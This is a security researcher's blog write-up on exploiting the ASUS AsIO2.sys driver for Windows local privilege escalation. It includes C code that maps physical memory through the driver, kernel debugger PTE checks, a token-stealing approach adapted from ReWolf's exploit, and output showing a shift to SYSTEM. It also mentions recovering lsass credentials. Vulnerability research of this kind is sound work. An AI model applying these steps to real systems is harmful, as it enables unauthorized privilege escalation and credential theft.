No theme, no regular posting.

© 2014-2020. Raphaël Rigo CC-BY-SA 4.0


ASUS ASIO2.sys exploitation

This post is a follow up to the vuln research in ASUS AsIO2 driver, which provides, among others, Everyone the following primitives:

My initial tests on physical memory seemed to indicate it was read-only, but they were a result of me inverting the results of AllocatePhysMemory

However, it’s interesting to see how one can check the mappings between virtual and physical.

The following code will alloc physical memory using AsIO2, and map a new user accessible page and dump the content (AllocatePhysMemory is broken in x64, as we’ll see):

uint32_t phys_addr;
uint32_t virt_addr;

phys_addr = AllocatePhysMemory(0x1000, &virt_addr);
printf("AllocatePhysMemory: (virtual: %08x / physical: %08x)\n", virt_addr, phys_addr);

// Map the newly allocated physical mem
value = ASIO_MapMem(phys_addr, 0x1000);
unsigned char *ptr = (unsigned char*)value;
printf("Ptr: %p\n", ptr);
memcpy(ptr, "etst", 4);
hexdump("new mem", (void *)value, 0x10);
getchar();  // Used to flush the display and wait to trigger the breakpoint

Let’s put a breakpoint right after the call to MmAllocateContiguousMemory and run the code:

0: kd> bp AsIO2+0x1a80 "r rax; g"
0: kd> g
Break instruction exception - code 80000003 (first chance)
0033:00007ffe`90f40bb2 cc              int     3

Now we can check which physical page is mapped to 0xffffbb80e416c000:

0: kd> !pte ffffbb80e416c000
                                           VA ffffbb80e416c000
PXE at FFFFF77BBDDEEBB8    PPE at FFFFF77BBDD77018    PDE at FFFFF77BAEE03900    PTE at FFFFF75DC0720B60
contains 0A00000003C30863  contains 0A00000003C31863  contains 0A000000502AD863  contains 0A000000BF348863
pfn 3c30      ---DA--KWEV  pfn 3c31      ---DA--KWEV  pfn 502ad     ---DA--KWEV  pfn bf348     ---DA--KWEV

As the PTE is 0x0A000000BF348863, we know the physical address is 0xBF348000

The shell displays:

AllocatePhysMemory: (virtual: e416c000 / physical: bf348000)
Ptr: 0000000000188000
new mem
  0000  10 59 de 73 dc ee ff ff 50 4c e6 73 dc ee ff ff  .Y.s....PL.s....

Note that the virtual address returned is:

So let’s check 0x188000 is mapped to the same physical address:

0: kd> !pte 188000
                                           VA 0000000000188000
PXE at FFFFF77BBDDEE000    PPE at FFFFF77BBDC00000    PDE at FFFFF77B80000000    PTE at FFFFF70000000C40
contains 8A00000057BBC867  contains 0A00000057BBD867  contains 0A000000447C2867  contains 8A000000BF348867
pfn 57bbc     ---DA--UW-V  pfn 57bbd     ---DA--UWEV  pfn 447c2     ---DA--UWEV  pfn bf348     ---DA--UW-V

As you can see, the PTE contains the same physical address, however, the letter U instead of K shows the virtual address is accessible to userland. And the W that is it writable. Neat !

Exploit goals and strategy

So my goal here is to get our userland process to have SYSTEM privileges. As we have access to physical memory, we could also leak sensitive data, for example by target lsass to recover credentials.

While researching various exploit strategies, I found that many drivers exhibit such vulnerabilities and that research is rather abundant. The following works were very useful:

Only having access to physical memory makes exploitation a bit more interesting:

Exploit: token stealing

Token stealing is a well known technique used for LPE, where one rewrites the token pointer in the attacker’s process to point to a privileged process’ token.

Morten Schenk has a good blog post explaining the technique.

Here, however, we have the following constraint:

I initially thought that I could use volatility’s techniques to find the interesting structures. But when I found ReWolf’s exploit I realized that it was just perfect: one just needs to implement a new class which will provide the exploit access to the target’s physical memory, which is trivial in our case.

Adding AsIO2 support to ReWolf’s exploit

Adding the provider

The WinIO provider in ReWolf’s exploit is basically identical to ours, except for the DeviceIoControl code. So no need to detail it, I just added a log to tell the user if opening the device failed (in case the ASUSCERT resource is invalid for example).

Compiling under MinGW

Of course I was not going to use Visual Studio to compile the exploit, but as it’s written in (over-engineered, in ReWolf’s own words) C++, I feared compilation would be complex.

Well, not really, I had to patch a few things such as:

Update: A friend pointed me to NtDiff which is very usefull to spot offset changes.

And of course I had to add the ASUSCERT resource entry, as described in the first post.

After doing this, running the exploit is trivial:

C:\Users\toto\Desktop>exploit asio
Win10 1909+ detected, using 0x360 for Token offset
Whoami: desktop-fa65285\toto
Found wininit.exe PID: 00000210
Looking for wininit.exe EPROCESS...
[+] Asusgio2 device opened
EPROCESS: wininit.exe, token: ffff9686b43270a8, PID: 0000000000000210
Stealing token...
Stolen token: ffff9686b43270a8
Looking for exploit.exe EPROCESS...
EPROCESS: exploit.exe, token: ffff9686b91df069, PID: 00000000000011d0
Reusing token...
Write at : 00000000001663e0
Whoami: nt authority\system

Exploit code

Grab it on GitHub.

Going further

If you want more shitty driver exploits, check hfiref0x’s gist and add support for them in the tool ;)